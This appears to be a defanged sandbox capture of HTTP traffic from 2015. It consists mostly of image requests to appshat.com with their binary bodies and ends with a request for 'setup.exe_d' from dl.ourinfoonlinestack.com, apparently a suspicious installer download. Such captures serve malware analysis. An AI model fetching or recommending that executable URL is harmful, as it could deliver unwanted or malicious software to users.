..a6._...].G'.L.u.....k..$Q..nJ..4Z...w....6{..2d........2......E...P.
.....D.?.}^...B?.. ...<.Ko......z."[email protected]!.#.&w.
.I...Ill...lI.>......:\-..\G............)^,L$.w.^..X.EW...... .....
hL..S....x.^b.j....].Ib........_9A.7DS...*..Vy...Y..=........\"..v..[.
...=T5.s.......'.?z"..]...|N}...K..._... l%.....?..[z..:1....{......p.
.6.?......pa.?...7...N.....=N.*6....0...O.?^...........W..=.gx.B...-..
..{.-......0......
<<< skipped >>>

GET /images/logo.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:06 GMT

Content-Type: image/jpeg

Content-Length: 5807

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-16af"

Expires: Tue, 24 Feb 2015 02:32:06 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:B61A1BBFD29B11E28771DAFB2D1987AB" xmpMM:Documen
tID="xmp.did:B61A1BC0D29B11E28771DAFB2D1987AB"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:B61A1BBDD29B11E28771DAFB2D1987AB" stRef:d
ocumentID="xmp.did:B61A1BBED29B11E28771DAFB2D1987AB"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
....................>..............................................
...................................................!1AQ"...2..aq..B#..
....Rr.3.SC.5.......................!..1Aa".Qq......2..B...b3$%.......
......?..u.......i...>#...-..LPv.....t..T.J..5........*jO....5UP...
t..O.h.nP*;.jOJu=?-.%(.%!.Ggh.H#@l. |..UN..~.....C...(e....YA!....8.).
[email protected].\.jY".......z.b;......6..7...M...6..X.&i..Tw.%... ...
..=.c.\$.1l....q;.*.).M..nij..;.....:........J...x..z.....5*......<<< skipped >>>

GET /thumbnails/banner/images/assets/0/d/0d2eb87d6982e1321cd3e3735ca5ca4c.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:06 GMT

Content-Type: image/jpeg

Content-Length: 41132

Last-Modified: Tue, 18 Jun 2013 14:44:30 GMT

Connection: keep-alive

ETag: "51c0724e-a0ac"

Expires: Tue, 24 Feb 2015 02:32:06 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......Z..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:239F818ED74411E2966EC7DEDA92E1D8" xmpMM:Documen
tID="xmp.did:239F818FD74411E2966EC7DEDA92E1D8"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:239F818CD74411E2966EC7DEDA92E1D8" stRef:d
ocumentID="xmp.did:239F818DD74411E2966EC7DEDA92E1D8"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................................................................
.............................................!..1A..Q"..aq...2#....B..
3...Rr.s4.C.$..b...5S.D..t%.........................!1.AQ...aq."2...B.
...3..R#...b.cr..&'............?...O.Rj.....WQ...3........u...F.ZUr...
VV.f..m....`.VP........Z.]7h....%[email protected].=.K....Z....#..3.........
Zkk.V.P$..T..p..$[..j...iM..I'.b. .".. .8...v...]... q.V..#....5..../.
......9..l5...u... [email protected]/0.D.........]....F..Q<<< skipped >>>

GET /thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:06 GMT

Content-Type: image/png

Content-Length: 288086

Last-Modified: Fri, 14 Jun 2013 16:44:16 GMT

Connection: keep-alive

ETag: "51bb4860-46556"

Expires: Tue, 24 Feb 2015 02:32:06 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR.............{.C.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...hiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:9D2D46458C206811B0C8A4DF2123BC4C" xmpMM:DocumentID="xmp.did:77F1
49EBC46E11E2B747C631FF1479F9" xmpMM:InstanceID="xmp.iid:77F149EAC46E11
E2B747C631FF1479F9" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0280117407206811A8
98904B6C307B73" stRef:documentID="xmp.did:9D2D46458C206811B0C8A4DF2123
BC4C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>6..i..a.IDATx...k.d.u%v...>2.....H....^.
.....v.x"..v.?.o.'..?h.c ..c4.([email protected]..^k..U.A..%....b...2...
U....k..GO...{.!..A....|p..U..X5uh.......U}....Z.........~...qip....Uk
7;.w..pq..g.4..7...\p....ir.8..2...;..&yT..........s5.^;7.....6..d....
.'."..L..<....M{..J..B...s..=..'..>.].._...O)xZy.$O..C.._.=.Y..&
lt;|.]..B.N)z~.,/.B.....z...W....../'.4f.f.J......[|.|*'#g2..4.....&."
. _.n....i.{goY.....).....^.n8.......M.....w{...uu.g...^.|....]<w..
......".*T.{7.....{...q.......R?..a..4MyJy..9......?.....y<...x<<< skipped >>>

GET /images/4.0stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/jpeg

Content-Length: 2194

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-892"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" xmpMM:Documen
tID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA92C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA93C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.......................................!..."..12BAQa..b3c&............
..........!.1A...a2...Qq."B.%.Rb...#.$............?....3s....b.v..Q@..
.\g.F^.v.G.`$.*.yAiX...............Zy.UU..Q.j.....7.3......2.F*""...].
.d......w.tl.!..=..I-J.U^J.R.Y...y.j.B.}Z"_S..0.>..>.=.X8......Q
.O.....<.../....."..R.......X..|.;..!Fkm].....7..I...e.9.E%T\......
s!.D.......Q..a...]PF^..U&....)..1F..i..(.6.Z..%J.............n...<<< skipped >>>

GET /thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5



}......Q.z....... .........\.%.,...'..%D..J..@{....@~.$Te...........-x
..8.e.F...'....v.(..^x.Q.vvo.6.6......:.....HI.....6...}...8.......>
;...8..1.........~./.O....\.9og.H...%|....V..w.....o~.O0.I......p.....
a%6.Z.....;..  .j...N.5..%..q..<.`v4;.....H|_..3..O.....h.F...J..P.
...._.0...z].q(<.....w..X.......g|,.......T..U..dG.i.......mw/...cw
xEG%.B.....=-..#u(.; ..]9L.R....Wp.....1.:....A.,..[b......._..... .x.
..[..B...z.._.**U.K....$....K. ....p*.,.T.._D.M._Pm............-B...U'
.F6...'{.W...ud.. .p...T.._.....b....".G.....5.mh..$ ]........J._..w..
.9.W$......5_...}.?.......[........G ..z.{.]~._..4*.*.......R.C*jIR...
#.........O."|[email protected].]35F"........
C..Jm..4..L..VMS.MQ.a6.O@.!.X.)y4*..CK...R...K....3.....o&.;.c..x.R.4]
W....m.A....~=".c.X#*...o../..#.&..8v..Je.>........@_.._-q...[.oP..
....M...<JTa,..@..'......b......@Lc6M...;&..<...$-.u\?4..dw.t..&
lt;.!..RFJ.....H".b"H"[email protected]?.).....O......w..x.^z........:..E.cc..
.k..i..k..goy-.Us...c...=1.F.9,9..H4.bn.g.Y....@.{.P. ..-Z{.}..9..t...
......{.I....s..G[..."....R....*)>....w...".&.i ...zo6?:..5.$1 Z...
.6.:.k...P.Pv.<I.. ......'....,.n.`..Fb.h..P......M..tXd$....R.....
[email protected]#....N.:sz.........f;.Z3u...u_.ca.gZn.C&...}a./....1.v.n..'k
x...;....~t...>..`.[.....Z.a.....W...|.7.z..>...s.a:.{.Je.......
PG...S"....f.h6..*.x.......qhs...9..84......[P.|.O...`U._{.c.r.._=.t.h
M.7%........k........>j.F\...ZC\..Nf.U....o.....-.4..s..5.o...~..'.
.tb..'....8:n.ZG.m.>;.'......1.....i.tvpv&......O4...U.J.z{.i..<<< skipped >>>

GET /images/3.5stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/jpeg

Content-Length: 2106

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-83a"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CC2A1EDFD0FE11E28895B8B8D
4058FA7" xmpMM:InstanceID="xmp.iid:CC2A1EDED0FE11E28895B8B8D4058FA7" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.......................................!.....1Aa"2BQ..b3c$4...........
...........!...1A...a2R..Qq."Bb%...#.$.............?...3...y{....oR*.w
...O,..,..10L...\... ..V}L.;_.~_6.t..0...&(=I...Ki6..z<5I3&..A...".
fzV.pZ.3...w..,.!..;.7Q-.....4.\.,.".......9.x......a'.....OaB....8<
;/&...........a.I.xa./...Y#.y...l...n.?{..`...)...c.s..j.0...LJW].s...
..Nu.Z...\C.&...y...<...=.....K.p.. ....K"..D........T..L.v:k.7<<< skipped >>>

GET /thumbnails/icon/images/assets/5/8/58d196b3e886a838d021adc8c8848f1e.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/png

Content-Length: 24802

Last-Modified: Thu, 13 Jun 2013 17:45:56 GMT

Connection: keep-alive

ETag: "51ba0554-60e2"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs...........~.
....tEXtSoftware.Adobe Fireworks CS6........tEXtCreation Time.5/7/10._
9... .IDATx...y|T..>.g...N&a....V.....%.Zm%`...,....[.K..i....n...[
.[..U.J.qA.....A.B"d.Yg..?&7s....23...y.^....I...~.....$.DDDd/...@DDD.
c. "".!..""".b. "".!..""".b. "".!..""".b. "".!..""".b. "".!..""".b. ""
.!..""".b. "".!..""".b. "".!..""".b. "".!g....p.b..?G/..........~..Z..
...I....%...4.M...N..>..T..x.|.._...........V.5..{?..90..BL...p.=. 
..P....0d...R..s.OMj.A..HR........."$....22%....XzG..'...........DDp
..t.....`.}..._.....s...9..y....2].....&....^t....k':Zw.g'..v0.wA.}"".
..<..`^.J...3T?......D....t....8dd..q....oA0.%...p`......#2....P.|K
Dd.....h.......ZP.3.>...3....t..,..-.u..V.:...:<.....@ [email protected].
XW.I_=......31x....>.pe|Q...'..C$.$...xKDd(..........L...w&.... .48
.....L|./..........@_.........5$j...r..jA.......\...$..[...4.mz.w_R..0
....`. ".`.07u..Vi?2...].w........7qp...............`>...G.%oU...rd
.~O.H......6.....Et.`U......<...G...(.y..@~.5...-f.......~.i...#x..
..=..b......v.......u.g.....{WW`.q..n......}_>...."<..... .A@...
....{RM.sR.\_~......q.'..f>..S.E.<.....7;.W...<.p.PW..a.....M
.}y.B._K.?.D.}_~.........x.2.g.o._..._..oR.`....u..."[email protected]...
N...Kt.B._K...H...8z....~N....6.y.o......u.PJ.............?....Y9.=.g.
.... ?...2]...<.Ph.B.]..K.l[........!.:Z..pzI~............}".b.0...
}....H.x.......=.?......(.~:B!G.....\/.t.A.G=aA....MZ'...K........}"[`
.. .V.L..x........z..........]=....._8.N.a.t.f..>[email protected]...{..<<< skipped >>>

GET /thumbnails/icon/images/assets/0/0/00c73f6d4e4eb25289dddb86e2d1e319.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/jpeg

Content-Length: 37562

Last-Modified: Thu, 13 Jun 2013 17:46:06 GMT

Connection: keep-alive

ETag: "51ba055e-92ba"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF.............C................................... $.' ",#..(
7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222
222222222222222222222...........".....................................
.......................}........!1A..Qa."q.2....#B...R..$3br........%&
'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz...........................
......................................................................
.............................w.......!1..AQ.aq."2...B.....#3R..br...$4
.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................
................................................................?...i.
.*[email protected]..........
8.....'.....B..b....SU...X.....4.=k.?.s.7....9...R..WD...........=.;..
..ZO8z............N............M....rH=.;....Z<..^0................
..s..@..........'Z.v{_.=h...x...rG..O........$......_..aG$..S.{O.=h...
x..-..........(?.....I.......V?k.......<z....{.....................
..]W..bV"..{..=h...x?./)...^?........yO..B.......G..a.z}.w....x.....'$
..G...........]A..........%..Z.D.h....x.......u..@#....../.-..........
*yY|.=....y...o......................./.....9..~x................/....
....w..@#........2=....y...w.............................../<z...Z.
..Z....?.....Q...Z...G.......v......G.=k...k]......._..aI...^...G.....
..,...?<z...Z.Y.0\.pt........G...G.4.......W...c7Z.vl..<z...Z...
[._..?.....Ui.4........?.]..}........Z<..^................k...2]N[.
. ...l...t:rZ.J.6....x......C...........................6f...O<<<< skipped >>>

GET /images/bg_main.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/jpeg

Content-Length: 10118

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-2786"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:7683121CC78911E2A52298D01C71D7D1" xmpMM:Documen
tID="xmp.did:7683121DC78911E2A52298D01C71D7D1"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:7683121AC78911E2A52298D01C71D7D1" stRef:d
ocumentID="xmp.did:7683121BC78911E2A52298D01C71D7D1"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
....................................y.................................
............................!.1.AQ.a"q.2...#....BRb...r.3..CS.....$4..
............................?..)vj...RG...28..5........Z.....Y..>..
.h..._...1........]..2v..|[email protected]^.....([email protected],I...R}......
.A......n..I...W.nN.q.*..(.......g..5...WAk.h<.u.........c...A;...`
7...9..Lb..'/..#7n!*fgl.....kO....T....N.>....7.^....A.v...md.:....
[email protected]....].....\..M.....H.2....`y......A2.<<< skipped >>>

GET /thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/png

Content-Length: 428661

Last-Modified: Thu, 13 Jun 2013 17:46:14 GMT

Connection: keep-alive

ETag: "51ba0566-68a75"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:FD7F1174072068118C14E27DC24655EC" xmpMM:DocumentID="xmp.did:8786
860B6FBE11E195A29E3F354856C3" xmpMM:InstanceID="xmp.iid:8786860A6FBE11
E195A29E3F354856C3" xmp:CreatorTool="Adobe Photoshop CS6 (13.0 2012030
5.m.415 2012/03/05:21:00:00)  (Macintosh)"> <xmpMM:DerivedFrom s
tRef:instanceID="xmp.iid:FE7F1174072068118C14E27DC24655EC" stRef:docum
entID="xmp.did:FD7F1174072068118C14E27DC24655EC"/> </rdf:Descrip
tion> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
.hY....xIDATx...{...u.........2?..vb...qLk....$!.....r..mZ.........*..
...T.J.)...R.(.....ab.....I.43...n..}.......z.X._=c. .x..3....{...<
.Y......x]...u....:^..x}c].q....:^..x..#.8^..x...u........u....:^.....
..:^..x...u....x...u....:...u....:^..x....:^..x...u....x...u....:^G.p.
...:^..x..#.8^..x...u........u....:^.......:^..x...u....x...u....:...u
....:^..x....:^..x...u......y..y.......x....:^_zu.).....k...8e.....O.o
..x......q........_............*^{....x....... ..}.F......_8..f...<<< skipped >>>

GET /thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5

GET /thumbnails/icon/images/assets/b/8/b85261679e262228a562f693b3e6ef6f.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/png

Content-Length: 384145

Last-Modified: Thu, 13 Jun 2013 17:44:34 GMT

Connection: keep-alive

ETag: "51ba0502-5dc91"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x.... .IDATx...K.u.....yYk...~.) .s*...P
.B..!.T.BAu.."....#IC;j......`...D.-..B4$i...((E..K........s.1..1...}.
_1.R.?...p..]{.=.\s...g<c,..7....*.5.......*.............j.&.._....
...."B .j....(..k.@...#(..;.wX.c.>6.k.....'".....H....{....).......
[email protected].....?}...... ......M...}...|A...}......m=<........c..G
..<..}... |....x._|8....F..Y.>.......A.c...x...........n?.......
0...y~7.....&v.......<....7.....}.|\....<..yH.i..y.........'(...
......z.a..~.......{..O......./.9.8..0.>g..........~.8..;..>>
.o.-.w..X...)g._..*.&...U.K..S....7.......n....h.....NX......>..q..
5A.4OO.p...kQ.......?/...i....~.SD.;r....~....g.~".~:...#.....(.. ..@.
p.4..Ia.h5?...........,....... .............|...c..<.a.....[x.N....
v.?.........3h.D}...;w.t.O..;[email protected]...>...l....
y.N........~.g..|..A....._7l.......<..|.o.v..}...U......y.C..D....a
[email protected]....~)z...r..6../=.`..w.@...#x....\....R.!....
}...~...k.=...z.......d......>..?......)t'.|.O......y|r.;......>
..G.?.t..4.h T..5..WQ.oL._D..T.=.n.~k.....X..}.?...D.n..H"..@..".~.ND.
.......Z....<9Pr.....* n.Bx...........5............<..q..n@v'...
XQy.K.......A..9v......l..q.O.#........'....s..W..#.|../..e.vv.....(T.
.........>@.E.>Y.....%.}.......l\..._.9.....w..@t....~..........
..C..S.......v.......a...T.....>./b.............W?.ch..gw....O...D_
.a..[.O................?.?..........=...p.}B.........`DD....U....)=...
O....N....C.1....#....S.......?.k.4~.......B..\.1W.}...Bt......<<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_d HTTP/1.1

Host: dl.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache



.....`[email protected].?..R.9!......If..%C.B...3g\i..PB.~.x@./{[email protected]
..c._B.....F.{..\<.Z.{h/.]........l.57.H. 5O..X.......,tA%.._.C..'~
...7q..A.yJ$..(!'.8....G.M...J..i.F.B......].-2.X~_......{............
....~|O..}U.ml.c.m.ab.|[email protected]../........`wg.R.P|.......*....h~...:....
........s*.h...R.J....\....F.Y....s. .$.R.J...<\A.t.|.......Hcy..^.
